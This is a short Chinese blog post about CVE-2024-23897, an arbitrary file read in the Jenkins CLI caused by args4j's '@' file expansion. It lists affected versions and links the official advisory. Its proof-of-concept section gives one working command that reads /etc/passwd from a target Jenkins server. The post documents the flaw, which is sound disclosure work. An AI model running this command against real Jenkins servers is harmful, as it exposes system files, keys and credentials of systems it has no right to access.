CVE-2024-23897|Jenkins任意文件读取漏洞(POC)

2024-02-01 15:52:15 浏览数 (2)

0x00 前言

Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,起源于Hudson(Hudson是商用的),主要用于持续、自动的构建/测试软件项目、监控外部任务的运行(这个比较抽象,暂且写上,不做解释)。

Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle。

0x01 漏洞描述

Jenkins CLI 是 Jenkins 内置的命令行页面。Jenkins 受影响版本中使用 args4j 库解析CLI命令参数,该库默认将参数中 @ 字符后的文件路径替换为文件内容。 Jenkins处理CLI命令的命令解析器中的expandAtFile功能存在任意文件读取漏洞。 攻击者可利用该特性使用 Jenkins 控制器进程的默认字符编码读取 Jenkins 控制器文件系统上的任意文件(如加密密钥的二进制文件),并结合 Resource Root URL、Remember me cookie、存储型 XSS 或 CSRF 等在 Jenkins 控制器中执行任意代码。

0x02 CVE编号

CVE-2024-23897

0x03 影响版本

Jenkins 版本<= 2.441

Jenkins 版本<= LTS 2.426.2

0x04 漏洞详情

POC:

代码语言:javascript复制
java -jar jenkins-cli.jar -s http://jenkins:8080/ connect-node "@/etc/passwd"

0x05 参考链接

https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314

https://blog.csdn.net/weixin_42353842/article/details/135861439?spm=1001.2014.3001.5502

0 人点赞